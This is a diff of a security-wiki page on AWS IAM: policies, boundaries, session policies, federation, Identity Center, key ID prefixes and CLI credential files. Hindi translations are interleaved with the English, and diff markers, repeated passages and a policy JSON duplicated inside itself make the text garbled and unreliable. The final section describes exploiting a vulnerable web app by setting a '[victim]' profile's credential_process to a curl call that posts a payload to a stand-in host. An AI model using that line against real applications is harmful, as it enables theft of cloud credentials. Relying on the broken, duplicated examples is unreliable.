#### AWS Security Token Service (STS)
|
||||
|
||||
### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
|
||||
**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं होने वाले कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं।
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### नीतियाँ
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
|
||||
#### नीति अनुमतियाँ
|
||||
### Policies
|
||||
|
||||
अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं:
|
||||
#### Policy Permissions
|
||||
|
||||
- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई)
|
||||
- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
|
||||
**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, पहुँच तब दी जाएगी जब एक स्पष्ट भूमिका निर्दिष्ट की गई हो।\
|
||||
यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
[ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### इनलाइन नीतियाँ
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\
|
||||
इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
|
||||
#### Inline Policies
|
||||
|
||||
#### संसाधन बाल्टी नीतियाँ
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
|
||||
ये **नीतियाँ** हैं जो **संसाधनों** में परिभाषित की जा सकती हैं। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
|
||||
#### Resource Bucket Policies
|
||||
|
||||
यदि किसी प्रमुख पर उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
|
||||
### IAM सीमाएँ
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
|
||||
IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने** के लिए उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
|
||||
### IAM Boundaries
|
||||
|
||||
एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा संकेत करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
|
||||
**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकता से अधिक अनुमतियाँ नहीं हैं।
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
|
||||
### सत्र नीतियाँ
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
|
||||
एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वही होती हैं जो भूमिका के पास होती हैं)।
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
|
||||
यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाले हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो अनुमत भूमिकाओं](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (उन्नत प्रमाणीकरण का उपयोग करते हुए), AWS **सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)।
|
||||
|
||||
इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को क्रिया करने की अनुमति है, तो इसका मतलब है कि **एक सत्र नीति इसे रोक रही है**।
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
### पहचान संघ
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
|
||||
पहचान संघ **बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को AWS संसाधनों तक सुरक्षित रूप से पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स प्रदान किए।\
|
||||
एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
|
||||
### Identity Federation
|
||||
|
||||
इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
|
||||
हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM पहचान केंद्र
|
||||
### IAM Identity Center
|
||||
|
||||
AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑन का उत्तराधिकारी) AWS पहचान और पहुँच प्रबंधन (IAM) की क्षमताओं का विस्तार करता है ताकि **उपयोगकर्ताओं और उनके AWS** खातों और क्लाउड अनुप्रयोगों तक पहुँच के **प्रशासन को एक केंद्रीय स्थान** में लाया जा सके।
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
|
||||
लॉगिन डोमेन कुछ इस तरह होगा `<user_input>.awsapps.com`।
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
|
||||
उपयोगकर्ताओं को लॉगिन करने के लिए, 3 पहचान स्रोतों का उपयोग किया जा सकता है:
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
|
||||
- पहचान केंद्र निर्देशिका: नियमित AWS उपयोगकर्ता
|
||||
- सक्रिय निर्देशिका: विभिन्न कनेक्टर्स का समर्थन करता है
|
||||
- बाहरी पहचान प्रदाता: सभी उपयोगकर्ता और समूह एक बाहरी पहचान प्रदाता (IdP) से आते हैं
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**।
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
|
||||
एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बनाई जाएगी**।
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमति दी जाए**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में ये अनुमतियाँ होंगी जिसे **`AwsSSOInlinePolicy`** कहा जाता है।
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
|
||||
इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **नहीं मतलब है कि इसके पास समान अनुमतियाँ हैं**।
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
|
||||
### क्रॉस खाता विश्वास और भूमिकाएँ
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\
|
||||
यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
|
||||
### AWS सरल AD
|
||||
### AWS Simple AD
|
||||
|
||||
समर्थित नहीं:
|
||||
Not supported:
|
||||
|
||||
- विश्वास संबंध
|
||||
- AD प्रशासन केंद्र
|
||||
- पूर्ण PS API समर्थन
|
||||
- AD रीसाइक्ल बिन
|
||||
- समूह प्रबंधित सेवा खाते
|
||||
- स्कीमा एक्सटेंशन
|
||||
- OS या उदाहरणों तक सीधी पहुँच नहीं
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
|
||||
#### वेब संघ या OpenID प्रमाणीकरण
|
||||
#### Web Federation or OpenID Authentication
|
||||
|
||||
ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच नहीं देता, केवल AWS के भीतर संसाधनों तक पहुँच देता है।
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
|
||||
### अन्य IAM विकल्प
|
||||
### Other IAM options
|
||||
|
||||
- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
|
||||
- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
|
||||
AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
|
||||
### IAM ID उपसर्ग
|
||||
### IAM ID Prefixes
|
||||
|
||||
[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के अनुसार पा सकते हैं:
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
|
||||
| पहचानकर्ता कोड | विवरण |
|
||||
| Identifier Code | Description |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | संदर्भ-विशिष्ट क्रेडेंशियल |
|
||||
| AGPA | उपयोगकर्ता समूह |
|
||||
| AIDA | IAM उपयोगकर्ता |
|
||||
| AIPA | अमेज़न EC2 उदाहरण प्रोफ़ाइल |
|
||||
| AKIA | पहुँच कुंजी |
|
||||
| ANPA | प्रबंधित नीति |
|
||||
| ANVA | प्रबंधित नीति में संस्करण |
|
||||
| APKA | सार्वजनिक कुंजी |
|
||||
| AROA | भूमिका |
|
||||
| ASCA | प्रमाणपत्र |
|
||||
| ASIA | [अस्थायी (AWS STS) पहुँच कुंजी आईडी](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) इस उपसर्ग का उपयोग करती हैं, लेकिन केवल गुप्त पहुँच कुंजी और सत्र टोकन के संयोजन में अद्वितीय होती हैं। |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
|
||||
### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ
|
||||
### Recommended permissions to audit accounts
|
||||
|
||||
निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा की पढ़ने की पहुँच प्रदान करते हैं:
|
||||
The following privileges grant various read access of metadata:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -342,13 +356,14 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## विविध
|
||||
## Misc
|
||||
|
||||
### CLI प्रमाणीकरण
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
|
||||
एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए आपको **स्थानीय क्रेडेंशियल्स** की आवश्यकता होती है। डिफ़ॉल्ट रूप से आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\
|
||||
उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकती हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\
|
||||
एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -359,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के भीतर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की आवश्यकता नहीं है।
|
||||
|
||||
आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\
|
||||
एक कॉन्फ़िग फ़ाइल का उदाहरण:
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -371,30 +388,36 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
इस कॉन्फ़िग फ़ाइल के साथ आप aws cli का उपयोग कर सकते हैं जैसे:
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **विस्तार** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
|
||||
|
||||
#### अस्थायी क्रेडेंशियल्स का स्वचालन
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
|
||||
यदि आप एक ऐसे एप्लिकेशन का शोषण कर रहे हैं जो अस्थायी क्रेडेंशियल्स उत्पन्न करता है, तो हर कुछ मिनटों में जब वे समाप्त होते हैं, तो उन्हें अपने टर्मिनल में अपडेट करना थकाऊ हो सकता है। इसे कॉन्फ़िग फ़ाइल में `credential_process` निर्देश का उपयोग करके ठीक किया जा सकता है। उदाहरण के लिए, यदि आपके पास कुछ कमजोर वेबऐप है, तो आप कर सकते हैं:
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
